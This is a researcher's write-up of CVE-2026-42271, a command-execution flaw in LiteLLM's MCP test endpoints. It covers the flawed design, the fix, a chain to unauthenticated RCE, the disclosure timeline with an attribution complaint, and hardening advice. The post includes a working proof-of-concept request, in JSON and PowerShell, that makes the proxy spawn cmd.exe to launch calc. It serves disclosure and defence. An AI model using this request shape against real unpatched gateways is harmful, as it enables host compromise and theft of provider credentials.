August 19, 2026
How a “Test” Endpoint Became a Critical RCE: Discovering CVE-2026–42271 in LiteLLM
The story of an authenticated command execution vulnerability in one of the most widely deployed AI gateways — from a routine security…

By Itachix0f
5 min read
The story of an authenticated command execution vulnerability in one of the most widely deployed AI gateways — from a routine security review to the CISA Known Exploited Vulnerabilities catalog.
TL;DR
In January 2026, I discovered and responsibly disclosed a critical vulnerability in LiteLLM Proxy, a popular open-source AI gateway. Two MCP "preview" endpoints, POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list, accepted a full server configuration directly from the request body, including command, args, and env fields used by the stdio transport. Any authenticated user with a low-privilege API key could spawn arbitrary processes on the proxy host.
The issue was patched in LiteLLM v1.83.7 and published as CVE-2026–42271 / GHSA-v4p8-mg3p-g94g (CVSS 8.8, CWE-77). Months later, researchers at Horizon3.ai demonstrated that it could be chained with a Starlette Host-header bypass (CVE-2026–48710, "BadHost") to achieve unauthenticated remote code execution, and the vulnerability entered CISA's Known Exploited Vulnerabilities catalog in June 2026.
This is the story of how I found it, why it worked, and what the disclosure process taught me.
Context: LiteLLM and the MCP integration
LiteLLM is one of the most deployed open-source AI gateways: a proxy that exposes dozens of LLM providers (OpenAI, Anthropic, Mistral, Bedrock…) behind a single OpenAI-compatible API. Companies use it to centralize API keys, enforce budgets, and log usage. In other words, it sits at a very sensitive spot in the infrastructure: it holds every provider credential and sees every prompt.
In 2025, LiteLLM added support for the Model Context Protocol (MCP), Anthropic's protocol for connecting LLMs to external tools. MCP servers can run remotely (HTTP/SSE) or locally via stdio, where the host spawns a subprocess and communicates over stdin/stdout.
To make configuration easier, LiteLLM's admin UI offered "preview" endpoints to test an MCP server before saving it. That's where the problem lived.
The vulnerability
The flawed design
The two preview endpoints accepted a complete MCP server definition in the request body:
jsonPOST /mcp-rest/test/connection
Authorization: Bearer sk-any-valid-key
{
"transport": "stdio",
"server_name": "poc",
"command": "cmd.exe",
"args": ["/c", "calc.exe"],
"env": {}
}jsonPOST /mcp-rest/test/connection
Authorization: Bearer sk-any-valid-key
{
"transport": "stdio",
"server_name": "poc",
"command": "cmd.exe",
"args": ["/c", "calc.exe"],
"env": {}
}When transport=stdio was supplied, the request fields were propagated straight into the MCP client initialization:
pythonstdio_client(StdioServerParameters(command, args, env))pythonstdio_client(StdioServerParameters(command, args, env))This call spawns a local process on the proxy host immediately, before any MCP handshake or protocol validation. Even if the request ultimately "failed" (because calc.exe doesn't speak MCP), the process had already executed.
Why the access control didn't help
The endpoint was gated only by Depends(user_api_key_auth), meaning any valid API key could reach it. No admin role check. And because UI-generated virtual keys default to an empty allowed_routes list (which meant "no effective restriction"), even a low-privilege internal user key was enough.
The effective security boundary was:
API key can reach
/test/connection→ ability to spawn arbitrary local processes on the proxy host
Meanwhile, every other MCP management operation in LiteLLM (creating, editing, deleting servers) was explicitly restricted to proxy admins. The test endpoints were a glaring exception to the project's own least-privilege model.
Proof of concept (benign)
A minimal, non-destructive demonstration: launching the calculator on a Windows host.
powershellInvoke-WebRequest -UseBasicParsing -Method Post `
-Uri http://127.0.0.1:4000/mcp-rest/test/connection `
-Headers @{ Authorization = "Bearer sk-test-master" } `
-ContentType "application/json" `
-Body (@{
transport='stdio';
server_name='poc';
command='cmd.exe';
args=@('/c', 'calc.exe')
} | ConvertTo-Json -Depth 6)powershellInvoke-WebRequest -UseBasicParsing -Method Post `
-Uri http://127.0.0.1:4000/mcp-rest/test/connection `
-Headers @{ Authorization = "Bearer sk-test-master" } `
-ContentType "application/json" `
-Body (@{
transport='stdio';
server_name='poc';
command='cmd.exe';
args=@('/c', 'calc.exe')
} | ConvertTo-Json -Depth 6)Expected result: HTTP 200 with an application-level error (the binary doesn't speak MCP), but the calculator pops up on the server. Code execution confirmed, zero damage done.
Impact
An attacker with any valid key could:
- Execute arbitrary commands with the privileges of the LiteLLM proxy process
- Read every secret the gateway holds, including all provider API keys (OpenAI, Anthropic, AWS Bedrock…)
- Access the internal network from a trusted pivot point
- Fully compromise the AI infrastructure of the organization
I rated it critical and reported it privately the same day.
The fix
The maintainers addressed the issue in LiteLLM v1.83.7: both /test/* endpoints now require the PROXY_ADMIN role, aligning them with the authorization behavior of the save endpoint. This was one of the three remediation options I had proposed in my initial report (the others being: disable transport=stdio for HTTP APIs, or require a server_id and resolve execution parameters server-side only).
If you're running anything from 1.74.2 to 1.83.6, upgrade. And because of what came next, also check your Starlette version.
The twist: from authenticated RCE to unauthenticated RCE
A few months after the advisory was published (April 21, 2026), Horizon3.ai researchers demonstrated something I had not foreseen: CVE-2026–42271 can be chained with CVE-2026–48710 ("BadHost"), a Host-header validation bypass in the Starlette web framework.
The chain removes the last barrier: the API key. An unauthenticated attacker on any network-reachable host could reach the MCP test endpoints and execute commands. Practical severity: equivalent to CVSS 10.0.
On June 8, 2026, CVE-2026–42271 was added to CISA's Known Exploited Vulnerabilities catalog, confirming active exploitation in the wild.
A "convenience test endpoint" had become one of the most serious AI-infrastructure vulnerabilities of the year.
The disclosure timeline, and a lesson in attribution
I want to be transparent about the process, because it holds lessons for both researchers and maintainers:
DateEventJan 18, 2026Private report sent to the maintainers, with full technical analysis, PoC, and three remediation optionsJan 21, 2026Acknowledgment; fix targeted for the following weekFeb 24, 2026Fix PR raised; I was invited to test a dev build. I learned other researchers had independently reported related issuesMar 16, 2026Maintainer confirmed intent to publish a CVE via GitHub Security Advisory and to "coordinate on the disclosure timeline"Apr 21, 2026Advisory GHSA-v4p8-mg3p-g94g published, without notification, and without my name in the credits
The advisory describes exactly the issue I disclosed. My report predated the fix, included the PoC and analysis, and the remediation that shipped was one of the options I had proposed. Yet I learned about the publication on my own, weeks later.
I reached out to request proper attribution. GitHub allows maintainers to edit advisory credits after publication, so it's a two-minute fix.
I'm sharing this not to point fingers, but because it's a pattern many independent researchers face, and it's worth naming the lessons:
For researchers:
- Use GitHub Private Vulnerability Reporting when available. It creates a tracked record where credit is structural, not discretionary. My report went over email, and that made attribution optional.
- Get the credit agreement in writing early. "We'll coordinate with you" is not a commitment. Ask explicitly: will I be credited in the advisory?
- Set a disclosure deadline in your first message. "I intend to disclose publicly 90 days after this report" changes every subsequent conversation.
- Know your fallback. MITRE and other CNAs can assign CVEs independently if a vendor goes silent. You don't need the maintainer's permission to protect your work.
- Keep everything. Timestamps, PoCs, email threads. If credit is disputed, your paper trail is your case.
For maintainers:
Attribution costs nothing and means everything. Independent researchers work for free, in good faith, and often hold back public disclosure for months at your request. The credit line is the only compensation most of us get. Forgetting it, or publishing without notifying the reporter, erodes the trust that coordinated disclosure depends on.
Technical takeaways
If you build or operate AI gateways, this vulnerability class is worth internalizing:
- "Test" and "preview" endpoints are production endpoints. If it's reachable, it's attack surface. Name-based assumptions ("it's just for testing") are not access control.
- Never accept
command,args, orenvfrom user-controlled input. If a feature genuinely needs to spawn processes, resolve parameters server-side from an admin-managed registry. - Authorization must be uniform. LiteLLM restricted every MCP management operation to admins, except the two that spawned processes. Attackers don't look for the strongest endpoint; they look for the inconsistent one.
- stdio transport is local code execution by design. Treat any HTTP API that can trigger it as a privileged operation, full stop.
Conclusion
CVE-2026–42271 started as a one-evening security review of an MCP integration and ended in the CISA KEV catalog. It's a reminder that the AI infrastructure layer (gateways, proxies, orchestration) concentrates enormous trust and is still catching up on security maturity.
It's also a reminder that coordinated disclosure works, but imperfectly. The vulnerability got fixed, users got patched, and the ecosystem learned something. That's the outcome that matters most. The credit line matters too, and I'm still hopeful it gets corrected.
If you're running LiteLLM: upgrade to v1.83.7+ (ideally v1.83.14-stable+ to cover the full chain), update Starlette to 1.0.1+, and rotate any credentials the gateway has touched.
References
- GitHub Security Advisory: GHSA-v4p8-mg3p-g94g
- CVE-2026–42271 (CVSS 8.8, CWE-77)
- CISA Known Exploited Vulnerabilities catalog (added June 8, 2026)
- Horizon3.ai analysis of the CVE-2026–42271 + CVE-2026–48710 chain
Disclosure: I reported this vulnerability privately and waited for the patch and public advisory before publishing this write-up. All demonstrations were performed against my own local deployment.